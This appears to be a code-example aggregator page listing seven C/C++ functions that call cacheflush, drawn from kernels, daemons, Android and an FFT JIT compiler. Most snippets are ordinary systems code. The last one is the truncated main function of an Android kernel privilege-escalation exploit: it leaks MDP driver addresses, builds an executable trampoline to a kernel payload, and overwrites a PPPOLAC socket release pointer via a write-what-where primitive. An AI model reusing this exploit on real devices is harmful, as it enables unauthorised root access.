Пример #1
0
/*
 *  exit kernel either on a panic or user request
 */
void
exit(int ispanic)
{
	void (*f)(void);

	USED(ispanic);
	delay(1000);

	iprint("it's a wonderful day to die\n");
	cacheflush();
	mmuinvalidate();
	mmudisable();
	f = nil;
	(*f)();
}
Пример #2
0
void handleintsignals(DSTATE *s)
{
	switch (intsignal) {

		case SIGHUP:
			snprintf(errorstring, 512, "SIGHUP received, flushing data to disk and reloading config.");
			printe(PT_Info);
			cacheflush(s->dirname);
			s->dbcount = 0;
			ibwflush();
			if (loadcfg(s->cfgfile)) {
				strncpy_nt(s->dirname, cfg.dbdir, 512);
			}
			ibwloadcfg(s->cfgfile);
			break;

		case SIGINT:
			snprintf(errorstring, 512, "SIGINT received, exiting.");
			printe(PT_Info);
			s->running = 0;
			break;

		case SIGTERM:
			snprintf(errorstring, 512, "SIGTERM received, exiting.");
			printe(PT_Info);
			s->running = 0;
			break;

		case 42:
			break;

		case 0:
			break;

		default:
			snprintf(errorstring, 512, "Unkown signal %d received, ignoring.", intsignal);
			printe(PT_Info);
			break;
	}

	intsignal = 0;
}
Пример #3
0
unsigned dismount(struct VCB * vcb)
{
    register unsigned sts,device;
    struct VCBDEV *vcbdev;
    int expectfiles = vcb->devices;
    int openfiles = cacherefcount(&vcb->fcb->cache);
    if (vcb->status & VCB_WRITE) expectfiles *= 2;
#ifdef DEBUG
    printf("Dismounting disk %d\n",openfiles);
#endif
    sts = SS$_NORMAL;
    if (openfiles != expectfiles) {
        sts = SS$_DEVNOTDISM;
    } else {
        vcbdev = vcb->vcbdev;
        for (device = 0; device < vcb->devices; device++) {
            if (vcbdev->dev != NULL) {
                if (vcb->status & VCB_WRITE) {
                    sts = deaccessfile(vcbdev->mapfcb);
                    vcbdev->idxfcb->headvioc->cache.status |= CACHE_MODIFIED;
                    vcbdev->idxfcb->cache.status &= ~CACHE_WRITE;
                    cacheflush();
                }
                cachedeltree(&vcb->fcb->cache);
                sts = deaccesshead(vcbdev->idxfcb->headvioc,NULL,0);
                vcbdev->idxfcb->headvioc = NULL;
                sts = cacheuntouch(&vcbdev->idxfcb->cache,0,0);
                cachedeltree(&vcb->fcb->cache);
            }
            vcbdev++;
        }
        while (vcb->dircache) cachedelete((struct CACHE *) vcb->dircache);
#ifdef DEBUG
        printf("Post close\n");
        cachedump();
#endif
        free(vcb);
    }
    return sts;
}
Пример #4
0
int CodeCache::cache(  const AssemblyKeyBase& keyBase,
                       const sp<Assembly>& assembly)
{
    pthread_mutex_lock(&mLock);

    const ssize_t assemblySize = assembly->size();
    while (mCacheInUse + assemblySize > mCacheSize) {
        // evict the LRU
        size_t lru = 0;
        size_t count = mCacheData.size();
        for (size_t i=0 ; i<count ; i++) {
            const cache_entry_t& e = mCacheData.valueAt(i);
            if (e.when < mCacheData.valueAt(lru).when) {
                lru = i;
            }
        }
        const cache_entry_t& e = mCacheData.valueAt(lru);
        mCacheInUse -= e.entry->size();
        mCacheData.removeItemsAt(lru);
    }

    ssize_t err = mCacheData.add(key_t(keyBase), cache_entry_t(assembly, mWhen));
    if (err >= 0) {
        mCacheInUse += assemblySize;
        mWhen++;
        // synchronize caches...
#if defined(__arm__)
        const long base = long(assembly->base());
        const long curr = base + long(assembly->size());
        err = cacheflush(base, curr, 0);
        LOGE_IF(err, "__ARM_NR_cacheflush error %s\n",
                strerror(errno));
#endif
    }

    pthread_mutex_unlock(&mLock);
    return err;
}
Пример #5
0
bool
MappableSeekableZStream::ensure(const void *addr)
{
    DEBUG_LOG("ensure @%p", addr);
    const void *addrPage = PageAlignedPtr(addr);
    /* Find the mapping corresponding to the given page */
    std::vector<LazyMap>::iterator map;
    for (map = lazyMaps.begin(); map < lazyMaps.end(); ++map) {
        if (map->Contains(addrPage))
            break;
    }
    if (map == lazyMaps.end())
        return false;

    /* Find corresponding chunk */
    off_t mapOffset = map->offsetOf(addrPage);
    off_t chunk = mapOffset / zStream.GetChunkSize();

    /* In the typical case, we just need to decompress the chunk entirely. But
     * when the current mapping ends in the middle of the chunk, we want to
     * stop at the end of the corresponding page.
     * However, if another mapping needs the last part of the chunk, we still
     * need to continue. As mappings are ordered by offset and length, we don't
     * need to scan the entire list of mappings.
     * It is safe to run through lazyMaps here because the linker is never
     * going to call mmap (which adds lazyMaps) while this function is
     * called. */
    size_t length = zStream.GetChunkSize(chunk);
    off_t chunkStart = chunk * zStream.GetChunkSize();
    off_t chunkEnd = chunkStart + length;
    std::vector<LazyMap>::iterator it;
    for (it = map; it < lazyMaps.end(); ++it) {
        if (chunkEnd <= it->endOffset())
            break;
    }
    if ((it == lazyMaps.end()) || (chunkEnd > it->endOffset())) {
        /* The mapping "it" points at now is past the interesting one */
        --it;
        length = it->endOffset() - chunkStart;
    }

    length = PageAlignedSize(length);

    /* The following lock can be re-acquired by the thread holding it.
     * If this happens, it means the following code is interrupted somehow by
     * some signal, and ends up retriggering a chunk decompression for the
     * same MappableSeekableZStream.
     * If the chunk to decompress is different the second time, then everything
     * is safe as the only common data touched below is chunkAvailNum, and it is
     * atomically updated (leaving out any chance of an interruption while it is
     * updated affecting the result). If the chunk to decompress is the same, the
     * worst thing that can happen is chunkAvailNum being incremented one too
     * many times, which doesn't affect functionality. The chances of it
     * happening being pretty slim, and the effect being harmless, we can just
     * ignore the issue. Other than that, we'd just be wasting time decompressing
     * the same chunk twice. */
    AutoLock lock(&mutex);

    /* The very first page is mapped and accessed separately of the rest, and
     * as such, only the first page of the first chunk is decompressed this way.
     * When we fault in the remaining pages of that chunk, we want to decompress
     * the complete chunk again. Short of doing that, we would end up with
     * no data between PageSize() and chunkSize, which would effectively corrupt
     * symbol resolution in the underlying library. */
    if (chunkAvail[chunk] < PageNumber(length)) {
        if (!zStream.DecompressChunk(*buffer + chunkStart, chunk, length))
            return false;

#if defined(ANDROID) && defined(__arm__)
        if (map->prot & PROT_EXEC) {
            /* We just extracted data that may be executed in the future.
             * We thus need to ensure Instruction and Data cache coherency. */
            DEBUG_LOG("cacheflush(%p, %p)", *buffer + chunkStart, *buffer + (chunkStart + length));
            cacheflush(reinterpret_cast<uintptr_t>(*buffer + chunkStart),
                       reinterpret_cast<uintptr_t>(*buffer + (chunkStart + length)), 0);
        }
#endif
        /* Only count if we haven't already decompressed parts of the chunk */
        if (chunkAvail[chunk] == 0)
            chunkAvailNum++;

        chunkAvail[chunk] = PageNumber(length);
    }

    /* Flip the chunk mapping protection to the recorded flags. We could
     * also flip the protection for other mappings of the same chunk,
     * but it's easier to skip that and let further segfaults call
     * ensure again. */
    const void *chunkAddr = reinterpret_cast<const void *>
                            (reinterpret_cast<uintptr_t>(addrPage)
                             - mapOffset % zStream.GetChunkSize());
    const void *chunkEndAddr = reinterpret_cast<const void *>
                               (reinterpret_cast<uintptr_t>(chunkAddr) + length);

    const void *start = std::max(map->addr, chunkAddr);
    const void *end = std::min(map->end(), chunkEndAddr);
    length = reinterpret_cast<uintptr_t>(end)
             - reinterpret_cast<uintptr_t>(start);

    DEBUG_LOG("mprotect @%p, 0x%" PRIxSize ", 0x%x", start, length, map->prot);
    if (mprotect(const_cast<void *>(start), length, map->prot) == 0)
        return true;

    LOG("mprotect failed");
    return false;
}
Пример #6
0
void ffts_generate_func_code(ffts_plan_t *p, size_t N, size_t leafN, int sign) {
	int count = tree_count(N, leafN, 0) + 1;
	size_t *ps = malloc(count * 2 * sizeof(size_t));
	size_t *pps = ps;

#ifdef __x86_64__
	if(sign < 0) p->constants = sse_constants;
	else         p->constants = sse_constants_inv;
#endif

	elaborate_tree(&pps, N, leafN, 0);
	pps[0] = 0;
	pps[1] = 0;

	pps = ps;

#ifdef __arm__ 
	if(N < 8192) p->transform_size = 8192;
	else p->transform_size = N;
#else
	if(N < 2048) p->transform_size = 16384;
	else p->transform_size = 16384 + 2*N/8 * __builtin_ctzl(N);
#endif

#ifdef __APPLE__
	p->transform_base = mmap(NULL, p->transform_size, PROT_WRITE | PROT_READ, MAP_ANON | MAP_SHARED, -1, 0);
#else
#define MAP_ANONYMOUS 0x20	
	p->transform_base = mmap(NULL, p->transform_size, PROT_WRITE | PROT_READ, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
#endif

/*
	if(p->transform_base == MAP_FAILED) {
		fprintf(stderr, "MAP FAILED\n");
		exit(1);
	}*/
	insns_t *func = p->transform_base;//valloc(8192);
	insns_t *fp = func;

//fprintf(stderr, "Allocating %d bytes \n", p->transform_size);
//fprintf(stderr, "Base address = %016p\n", func);

	if(!func) { 
		fprintf(stderr, "NOMEM\n");
		exit(1);
	}

	insns_t *x_8_addr = fp;
#ifdef __arm__
#ifdef HAVE_NEON
	memcpy(fp, neon_x8, neon_x8_t - neon_x8);
	if(sign < 0) {
		fp[31] ^= 0x00200000; fp[32] ^= 0x00200000; fp[33] ^= 0x00200000; fp[34] ^= 0x00200000;
		fp[65] ^= 0x00200000; fp[66] ^= 0x00200000; fp[70] ^= 0x00200000; fp[74] ^= 0x00200000;
		fp[97] ^= 0x00200000; fp[98] ^= 0x00200000; fp[102] ^= 0x00200000; fp[104] ^= 0x00200000;
	}
	fp += (neon_x8_t - neon_x8) / 4;
#else
	memcpy(fp, vfp_x8, vfp_end - vfp_x8);
	if(sign > 0) {
		fp[65] ^= 0x00000040; 
		fp[66] ^= 0x00000040; 
		fp[68] ^= 0x00000040; 
		fp[70] ^= 0x00000040; 
  	fp[103] ^= 0x00000040; 
  	fp[104] ^= 0x00000040; 
  	fp[105] ^= 0x00000040; 
  	fp[108] ^= 0x00000040; 
  	fp[113] ^= 0x00000040; 
  	fp[114] ^= 0x00000040; 
  	fp[117] ^= 0x00000040; 
  	fp[118] ^= 0x00000040; 
	}
	fp += (vfp_end - vfp_x8) / 4;
#endif
#else
	align_mem16(&fp, 0);
	x_8_addr = fp;
	align_mem16(&fp, 5);
	memcpy(fp, x8_soft, x8_hard - x8_soft);
	fp += (x8_hard - x8_soft);
//fprintf(stderr, "X8 start address = %016p\n", x_8_addr);
#endif
//uint32_t *x_8_t_addr = fp;
//memcpy(fp, neon_x8_t, neon_end - neon_x8_t);
//fp += (neon_end - neon_x8_t) / 4;
	insns_t *x_4_addr = fp;
#ifdef __arm__

#ifdef HAVE_NEON
	memcpy(fp, neon_x4, neon_x8 - neon_x4);
	if(sign < 0) {
		fp[26] ^= 0x00200000; fp[28] ^= 0x00200000; fp[31] ^= 0x00200000; fp[32] ^= 0x00200000;
	}
	fp += (neon_x8 - neon_x4) / 4;
#else
	memcpy(fp, vfp_x4, vfp_x8 - vfp_x4);
	if(sign > 0) {
		fp[36] ^= 0x00000040; 
		fp[38] ^= 0x00000040; 
		fp[43] ^= 0x00000040; 
		fp[44] ^= 0x00000040;
	}
	fp += (vfp_x8 - vfp_x4) / 4;
#endif
#else
	align_mem16(&fp, 0);
	x_4_addr = fp;
	memcpy(fp, x4, x8_soft - x4);
	fp += (x8_soft - x4);

#endif
	insns_t *start = fp;

#ifdef __arm__ 
	*fp = PUSH_LR(); fp++;
	*fp = 0xed2d8b10; fp++;

	ADDI(&fp, 3, 1, 0);
	ADDI(&fp, 7, 1, N);
	ADDI(&fp, 5, 1, 2*N);
	ADDI(&fp, 10, 7, 2*N);
	ADDI(&fp, 4, 5, 2*N);
	ADDI(&fp, 8, 10, 2*N);
	ADDI(&fp, 6, 4, 2*N);
	ADDI(&fp, 9, 8, 2*N);
	
  *fp = LDRI(12, 0, ((uint32_t)&p->offsets) - ((uint32_t)p)); fp++; // load offsets into r12
//  *fp++ = LDRI(1, 0, 4); // load ws into r1
	ADDI(&fp, 1, 0, 0);

	ADDI(&fp, 0, 2, 0), // mov out into r0
#endif


#ifdef __arm__
		*fp = LDRI(2, 1, ((uint32_t)&p->ee_ws) - ((uint32_t)p)); fp++; 
  	#ifdef HAVE_NEON
  		MOVI(&fp, 11, p->i0);
  	#else 
  		MOVI(&fp, 11, p->i0);
  	#endif

#else
	align_mem16(&fp, 0);
	start = fp;
	
	*fp++ = 0x4c;
	*fp++ = 0x8b;
	*fp++ = 0x07;
	uint32_t lp_cnt = p->i0 * 4;
	MOVI(&fp, RCX, lp_cnt);
	
	//LEA(&fp, R8, RDI, ((uint32_t)&p->offsets) - ((uint32_t)p)); 
#endif
	//fp++;
#ifdef __arm__
#ifdef HAVE_NEON
	memcpy(fp, neon_ee, neon_oo - neon_ee);
	if(sign < 0) {
		fp[33] ^= 0x00200000; fp[37] ^= 0x00200000; fp[38] ^= 0x00200000; fp[39] ^= 0x00200000;
		fp[40] ^= 0x00200000; fp[41] ^= 0x00200000; fp[44] ^= 0x00200000; fp[45] ^= 0x00200000;
		fp[46] ^= 0x00200000; fp[47] ^= 0x00200000; fp[48] ^= 0x00200000; fp[57] ^= 0x00200000;
	}
	fp += (neon_oo - neon_ee) / 4;
#else
		memcpy(fp, vfp_e, vfp_o - vfp_e);
		if(sign > 0) {
			fp[64] ^= 0x00000040; fp[65] ^= 0x00000040; fp[68] ^= 0x00000040; fp[75] ^= 0x00000040;
			fp[76] ^= 0x00000040; fp[79] ^= 0x00000040; fp[80] ^= 0x00000040; fp[83] ^= 0x00000040;
			fp[84] ^= 0x00000040; fp[87] ^= 0x00000040; fp[91] ^= 0x00000040; fp[93] ^= 0x00000040;
		}
		fp += (vfp_o - vfp_e) / 4;
#endif
#else
//fprintf(stderr, "Body start address = %016p\n", start);
	
	PUSH(&fp, RBP);	
	PUSH(&fp, RBX);
	PUSH(&fp, R10);
	PUSH(&fp, R11);
	PUSH(&fp, R12);
	PUSH(&fp, R13);
	PUSH(&fp, R14);
	PUSH(&fp, R15);
	
	int i;
	memcpy(fp, leaf_ee_init, leaf_ee - leaf_ee_init);
	
//fprintf(stderr, "Leaf ee init address = %016p\n", leaf_ee_init);
//fprintf(stderr, "Constants address = %016p\n", sse_constants);
//fprintf(stderr, "Constants address = %016p\n", p->constants);
	
//int32_t val = READ_IMM32(fp + 3);
//fprintf(stderr, "diff = 0x%x\n", ((uint32_t)&p->constants) - ((uint32_t)p));

//int64_t v2 = val + (int64_t)((void *)leaf_ee_init - (void *)fp );
//fprintf(stderr, "IMM = 0x%llx\n", v2);

//IMM32_NI(fp + 3, ((int64_t) READ_IMM32(fp + 3)) + ((void *)leaf_ee_init - (void *)fp )); 
	fp += (leaf_ee - leaf_ee_init);

//fprintf(stderr, "Leaf start address = %016p\n", fp);
	align_mem16(&fp, 9);
	memcpy(fp, leaf_ee, leaf_oo - leaf_ee);


	uint32_t offsets[8] = {0, N, N/2, 3*N/2, N/4, 5*N/4, 7*N/4, 3*N/4};
	uint32_t offsets_o[8] = {0, N, N/2, 3*N/2, 7*N/4, 3*N/4, N/4, 5*N/4};
	uint32_t offsets_oe[8] = {7*N/4, 3*N/4, N/4, 5*N/4, 0, N, 3*N/2, N/2};
	
	for(i=0;i<8;i++) IMM32_NI(fp + sse_leaf_ee_offsets[i], offsets[i]*4); 
	
	fp += (leaf_oo - leaf_ee);
	
	if(__builtin_ctzl(N) & 1){
		if(p->i1) {
			lp_cnt += p->i1 * 4;
  		MOVI(&fp, RCX, lp_cnt);
			align_mem16(&fp, 4);
  		memcpy(fp, leaf_oo, leaf_eo - leaf_oo);
  		for(i=0;i<8;i++) IMM32_NI(fp + sse_leaf_oo_offsets[i], offsets_o[i]*4); 
  		fp += (leaf_eo - leaf_oo);
		}
		

  	memcpy(fp, leaf_oe, leaf_end - leaf_oe);
  	lp_cnt += 4;
  	for(i=0;i<8;i++) IMM32_NI(fp + sse_leaf_oe_offsets[i], offsets_o[i]*4); 
  	fp += (leaf_end - leaf_oe);

	}else{


		memcpy(fp, leaf_eo, leaf_oe - leaf_eo);
		lp_cnt += 4;
		for(i=0;i<8;i++) IMM32_NI(fp + sse_leaf_eo_offsets[i], offsets[i]*4); 
		fp += (leaf_oe - leaf_eo);

  	if(p->i1) {
			lp_cnt += p->i1 * 4;
  		MOVI(&fp, RCX, lp_cnt);
			align_mem16(&fp, 4);
  		memcpy(fp, leaf_oo, leaf_eo - leaf_oo);
  		for(i=0;i<8;i++) IMM32_NI(fp + sse_leaf_oo_offsets[i], offsets_o[i]*4); 
  		fp += (leaf_eo - leaf_oo);
  	}

	}
	if(p->i1) {

		lp_cnt += p->i1 * 4;
		MOVI(&fp, RCX, lp_cnt);
		align_mem16(&fp, 9);
		memcpy(fp, leaf_ee, leaf_oo - leaf_ee);
		for(i=0;i<8;i++) IMM32_NI(fp + sse_leaf_ee_offsets[i], offsets_oe[i]*4); 
		fp += (leaf_oo - leaf_ee);

	}
	
//fprintf(stderr, "Body start address = %016p\n", fp);
  //LEA(&fp, R8, RDI, ((uint32_t)&p->ws) - ((uint32_t)p)); 
	memcpy(fp, x_init, x4 - x_init);
//IMM32_NI(fp + 3, ((int64_t)READ_IMM32(fp + 3)) + ((void *)x_init - (void *)fp )); 
	fp += (x4 - x_init);

	int32_t pAddr = 0;
	int32_t pN = 0;
	int32_t pLUT = 0;
	count = 2;
	while(pps[0]) {
	
		if(!pN) {
			MOVI(&fp, RCX, pps[0] / 4);
		}else{
  		if((pps[1]*4)-pAddr) ADDI(&fp, RDX, (pps[1] * 4)- pAddr);
			if(pps[0] > leafN && pps[0] - pN) {
				
				int diff = __builtin_ctzl(pps[0]) - __builtin_ctzl(pN);
				*fp++ = 0xc1; 
				
				if(diff > 0) {
					*fp++ = 0xe1;
					*fp++ = (diff & 0xff);
				}else{
					*fp++ = 0xe9;
					*fp++ = ((-diff) & 0xff);
				}
			}
		}
		
  		if(p->ws_is[__builtin_ctzl(pps[0]/leafN)-1]*8 - pLUT)
  			ADDI(&fp, R8, p->ws_is[__builtin_ctzl(pps[0]/leafN)-1]*8 - pLUT); 


  	if(pps[0] == 2*leafN) {
      CALL(&fp, x_4_addr);
//  	}else if(!pps[2]){
//	  //uint32_t *x_8_t_addr = fp;
//		memcpy(fp, neon_x8_t, neon_ee - neon_x8_t);
//		fp += (neon_ee - neon_x8_t) / 4;
//		//*fp++ = BL(fp+2, x_8_t_addr);
  	}else{
    		CALL(&fp, x_8_addr);
  	}

		pAddr = pps[1] * 4;
		if(pps[0] > leafN) 
			pN = pps[0];
		pLUT = p->ws_is[__builtin_ctzl(pps[0]/leafN)-1]*8;//LUT_offset(pps[0], leafN);
//	fprintf(stderr, "LUT offset for %d is %d\n", pN, pLUT); 
		count += 4;
		pps += 2;
	}
#endif
#ifdef __arm__
#ifdef HAVE_NEON
	if(__builtin_ctzl(N) & 1){
		ADDI(&fp, 2, 7, 0);
		ADDI(&fp, 7, 9, 0);
		ADDI(&fp, 9, 2, 0);

		ADDI(&fp, 2, 8, 0);
		ADDI(&fp, 8, 10, 0);
		ADDI(&fp, 10, 2, 0);
	
		if(p->i1) {
			MOVI(&fp, 11, p->i1);
			memcpy(fp, neon_oo, neon_eo - neon_oo);
			if(sign < 0) {
				fp[12] ^= 0x00200000; fp[13] ^= 0x00200000; fp[14] ^= 0x00200000; fp[15] ^= 0x00200000;
				fp[27] ^= 0x00200000; fp[29] ^= 0x00200000; fp[30] ^= 0x00200000; fp[31] ^= 0x00200000;
				fp[46] ^= 0x00200000; fp[47] ^= 0x00200000; fp[48] ^= 0x00200000; fp[57] ^= 0x00200000;
			}
			fp += (neon_eo - neon_oo) / 4;
		}
		
		*fp = LDRI(11, 1, ((uint32_t)&p->oe_ws) - ((uint32_t)p)); fp++; 

		memcpy(fp, neon_oe, neon_end - neon_oe);
		if(sign < 0) {
			fp[19] ^= 0x00200000; fp[20] ^= 0x00200000; fp[22] ^= 0x00200000; fp[23] ^= 0x00200000;
			fp[37] ^= 0x00200000; fp[38] ^= 0x00200000; fp[40] ^= 0x00200000; fp[41] ^= 0x00200000;
			fp[64] ^= 0x00200000; fp[65] ^= 0x00200000; fp[66] ^= 0x00200000; fp[67] ^= 0x00200000;
		}
		fp += (neon_end - neon_oe) / 4;

	}else{
		
		*fp = LDRI(11, 1, ((uint32_t)&p->eo_ws) - ((uint32_t)p)); fp++; 

		memcpy(fp, neon_eo, neon_oe - neon_eo);
		if(sign < 0) {
			fp[10] ^= 0x00200000; fp[11] ^= 0x00200000; fp[13] ^= 0x00200000; fp[14] ^= 0x00200000;
			fp[31] ^= 0x00200000; fp[33] ^= 0x00200000; fp[34] ^= 0x00200000; fp[35] ^= 0x00200000;
			fp[59] ^= 0x00200000; fp[60] ^= 0x00200000; fp[61] ^= 0x00200000; fp[62] ^= 0x00200000;
		}
		fp += (neon_oe - neon_eo) / 4;
		
		ADDI(&fp, 2, 7, 0);
		ADDI(&fp, 7, 9, 0);
		ADDI(&fp, 9, 2, 0);

		ADDI(&fp, 2, 8, 0);
		ADDI(&fp, 8, 10, 0);
		ADDI(&fp, 10, 2, 0);
	
		if(p->i1) {
			MOVI(&fp, 11, p->i1);
			memcpy(fp, neon_oo, neon_eo - neon_oo);
			if(sign < 0) {
				fp[12] ^= 0x00200000; fp[13] ^= 0x00200000; fp[14] ^= 0x00200000; fp[15] ^= 0x00200000;
				fp[27] ^= 0x00200000; fp[29] ^= 0x00200000; fp[30] ^= 0x00200000; fp[31] ^= 0x00200000;
				fp[46] ^= 0x00200000; fp[47] ^= 0x00200000; fp[48] ^= 0x00200000; fp[57] ^= 0x00200000;
			}
			fp += (neon_eo - neon_oo) / 4;
		}

	}


	if(p->i1) {
		ADDI(&fp, 2, 3, 0);
		ADDI(&fp, 3, 7, 0);
		ADDI(&fp, 7, 2, 0);

		ADDI(&fp, 2, 4, 0);
		ADDI(&fp, 4, 8, 0);
		ADDI(&fp, 8, 2, 0);
		
		ADDI(&fp, 2, 5, 0);
		ADDI(&fp, 5, 9, 0);
		ADDI(&fp, 9, 2, 0);

		ADDI(&fp, 2, 6, 0);
		ADDI(&fp, 6, 10, 0);
		ADDI(&fp, 10, 2, 0);

		ADDI(&fp, 2, 9, 0);
		ADDI(&fp, 9, 10, 0);
		ADDI(&fp, 10, 2, 0);

		*fp = LDRI(2, 1, ((uint32_t)&p->ee_ws) - ((uint32_t)p)); fp++; 
	  MOVI(&fp, 11, p->i1);
  	memcpy(fp, neon_ee, neon_oo - neon_ee);
  	if(sign < 0) {
  		fp[33] ^= 0x00200000; fp[37] ^= 0x00200000; fp[38] ^= 0x00200000; fp[39] ^= 0x00200000;
  		fp[40] ^= 0x00200000; fp[41] ^= 0x00200000; fp[44] ^= 0x00200000; fp[45] ^= 0x00200000;
  		fp[46] ^= 0x00200000; fp[47] ^= 0x00200000; fp[48] ^= 0x00200000; fp[57] ^= 0x00200000;
  	}
		fp += (neon_oo - neon_ee) / 4;

	}
#else
		ADDI(&fp, 2, 7, 0);
		ADDI(&fp, 7, 9, 0);
		ADDI(&fp, 9, 2, 0);

		ADDI(&fp, 2, 8, 0);
		ADDI(&fp, 8, 10, 0);
		ADDI(&fp, 10, 2, 0);
	
			MOVI(&fp, 11, (p->i1>0) ? p->i1 : 1);
  		memcpy(fp, vfp_o, vfp_x4 - vfp_o);
		if(sign > 0) {
			fp[22] ^= 0x00000040; fp[24] ^= 0x00000040; fp[25] ^= 0x00000040; fp[26] ^= 0x00000040;
			fp[62] ^= 0x00000040; fp[64] ^= 0x00000040; fp[65] ^= 0x00000040; fp[66] ^= 0x00000040;
		}
  		fp += (vfp_x4 - vfp_o) / 4;
		
		ADDI(&fp, 2, 3, 0);
		ADDI(&fp, 3, 7, 0);
		ADDI(&fp, 7, 2, 0);

		ADDI(&fp, 2, 4, 0);
		ADDI(&fp, 4, 8, 0);
		ADDI(&fp, 8, 2, 0);
		
		ADDI(&fp, 2, 5, 0);
		ADDI(&fp, 5, 9, 0);
		ADDI(&fp, 9, 2, 0);

		ADDI(&fp, 2, 6, 0);
		ADDI(&fp, 6, 10, 0);
		ADDI(&fp, 10, 2, 0);

		ADDI(&fp, 2, 9, 0);
		ADDI(&fp, 9, 10, 0);
		ADDI(&fp, 10, 2, 0);

		*fp = LDRI(2, 1, ((uint32_t)&p->ee_ws) - ((uint32_t)p)); fp++; 
	  MOVI(&fp, 11, (p->i2>0) ? p->i2 : 1);
  	memcpy(fp, vfp_e, vfp_o - vfp_e);
		if(sign > 0) {
			fp[64] ^= 0x00000040; fp[65] ^= 0x00000040; fp[68] ^= 0x00000040; fp[75] ^= 0x00000040;
			fp[76] ^= 0x00000040; fp[79] ^= 0x00000040; fp[80] ^= 0x00000040; fp[83] ^= 0x00000040;
			fp[84] ^= 0x00000040; fp[87] ^= 0x00000040; fp[91] ^= 0x00000040; fp[93] ^= 0x00000040;
		}
  	fp += (vfp_o - vfp_e) / 4;

#endif
  *fp = LDRI(2, 1, ((uint32_t)&p->ws) - ((uint32_t)p)); fp++; // load offsets into r12
	//ADDI(&fp, 2, 1, 0);
	MOVI(&fp, 1, 0);
	
	// args: r0 - out
	//       r1 - N
	//       r2 - ws
//	ADDI(&fp, 3, 1, 0); // put N into r3 for counter

	int32_t pAddr = 0;
	int32_t pN = 0;
	int32_t pLUT = 0;
	count = 2;
	while(pps[0]) {
	
//	fprintf(stderr, "size %zu at %zu - diff %zu\n", pps[0], pps[1]*4, (pps[1]*4) - pAddr);
		if(!pN) {
			MOVI(&fp, 1, pps[0]);
		}else{
  		if((pps[1]*4)-pAddr) ADDI(&fp, 0, 0, (pps[1] * 4)- pAddr);
			if(pps[0] - pN) ADDI(&fp, 1, 1, pps[0] - pN);
		}
		
		if(p->ws_is[__builtin_ctzl(pps[0]/leafN)-1]*8 - pLUT)
			ADDI(&fp, 2, 2, p->ws_is[__builtin_ctzl(pps[0]/leafN)-1]*8 - pLUT); 


  	if(pps[0] == 2*leafN) {
        *fp = BL(fp+2, x_4_addr); fp++;
  	}else if(!pps[2]){
  	  //uint32_t *x_8_t_addr = fp;
#ifdef HAVE_NEON
  		memcpy(fp, neon_x8_t, neon_ee - neon_x8_t);
  		if(sign < 0) {
  			fp[31] ^= 0x00200000; fp[32] ^= 0x00200000; fp[33] ^= 0x00200000; fp[34] ^= 0x00200000;
  			fp[65] ^= 0x00200000; fp[66] ^= 0x00200000; fp[70] ^= 0x00200000; fp[74] ^= 0x00200000;
   			fp[97] ^= 0x00200000; fp[98] ^= 0x00200000; fp[102] ^= 0x00200000; fp[104] ^= 0x00200000;
  		}
  		fp += (neon_ee - neon_x8_t) / 4;
  		//*fp++ = BL(fp+2, x_8_t_addr);

#else
    		*fp = BL(fp+2, x_8_addr); fp++;
#endif
  	}else{
    		*fp = BL(fp+2, x_8_addr); fp++;
  	}

		pAddr = pps[1] * 4;
		pN = pps[0];
		pLUT = p->ws_is[__builtin_ctzl(pps[0]/leafN)-1]*8;//LUT_offset(pps[0], leafN);
//	fprintf(stderr, "LUT offset for %d is %d\n", pN, pLUT); 
		count += 4;
		pps += 2;
	}
	
	*fp++ = 0xecbd8b10;
	*fp++ = POP_LR(); count++;
#else
	POP(&fp, R15);
	POP(&fp, R14);
	POP(&fp, R13);
	POP(&fp, R12);
	POP(&fp, R11);
	POP(&fp, R10);
	POP(&fp, RBX);
	POP(&fp, RBP);
	RET(&fp);	


//uint8_t *pp = func;
//int counter = 0;
//do{ 
//	printf("%02x ", *pp);
//	if(counter++ % 16 == 15) printf("\n");
//} while(++pp < fp);

//printf("\n");


#endif


//	*fp++ = B(14); count++;

//for(int i=0;i<(neon_x8 - neon_x4)/4;i++) 
//	fprintf(stderr, "%08x\n", x_4_addr[i]);
//fprintf(stderr, "\n");
//for(int i=0;i<count;i++) 

	free(ps);
	
  if (mprotect(func, p->transform_size, PROT_READ | PROT_EXEC)) {
  	perror("Couldn't mprotect");
  	exit(1);
  }
#ifdef __APPLE__
	sys_icache_invalidate(func, p->transform_size);
#elif __ANDROID__
	cacheflush((long)(func), (long)(func) + p->transform_size, 0);
#elif __linux__
#ifdef __GNUC__
	__clear_cache((long)(func), (long)(func) + p->transform_size);
#endif
#endif

//fprintf(stderr, "size of transform %zu = %d\n", N, (fp-func)*4);

	p->transform = (void *) (start);
}
Пример #7
0
int main(int argc, char const *argv[])
{
    //Opening the device
    int mdp_fd = open("/dev/graphics/fb0", O_RDONLY | O_DSYNC);
    if (mdp_fd < 0) {
        perror("[-] Failed to open /dev/graphics/fb0");
        return -errno;
    }
    printf("[+] Opened mdp driver\n");

    uint32_t mdp_base = get_mdp_base();

    printf("[+] Got mdp_base: 0x%08x\n", mdp_base);

    uint32_t mdp_lut_i = leak_mdp_lut_i(mdp_fd, mdp_base);

    printf("[+] Got mdp_lut_i: 0x%01x\n", mdp_lut_i);

    /**
     * The pointer to the function stub which is executed whenever a PPPOLAC
     * socket is closed. This stub contains a short piece of ARM code which jumps
     * to the given address, like so:
     *  LDR PC, addr
     * addr:
     *  DCD <ADDRESS>
    */
    uint32_t* trampoline = NULL;

    //Allocating the trampoline
    trampoline = (uint32_t*)mmap((void*)TRAMPOLINE_ADDRESS, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
    if (trampoline == NULL) {
        perror("[-] Failed to allocate trampoline");
        return -errno;
    }
    printf("[+] Allocated trampoline\n");

    printf("[i] Attempting to execute kernel_payload at 0x%08x\n", (uint32_t)&kernel_payload);

    //Writing to the trampoline
    trampoline[0] = 0xE51FF004; //LDR PC, [addr]
    //addr:
    trampoline[1] = (uint32_t)&kernel_payload;

    //Flushing the cache (to make sure the I-cache doesn't contain leftovers)
    cacheflush((uint32_t)trampoline & (~0xFFF), 0x1000, 0);

    // mdp_lut_i will switch between 0 and 1 at each call
    mdp_lut_i = !mdp_lut_i;

    write_where(mdp_fd, mdp_lut_i, mdp_base, (uint32_t)trampoline, PPPOLAC_PROTO_OPS_RELEASE);

    //Opening and closing a PPPOLAC socket
    int sock = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OLAC);
    if (sock < 0) {
        perror("[-] Failed to open PPPOLAC socket\n");
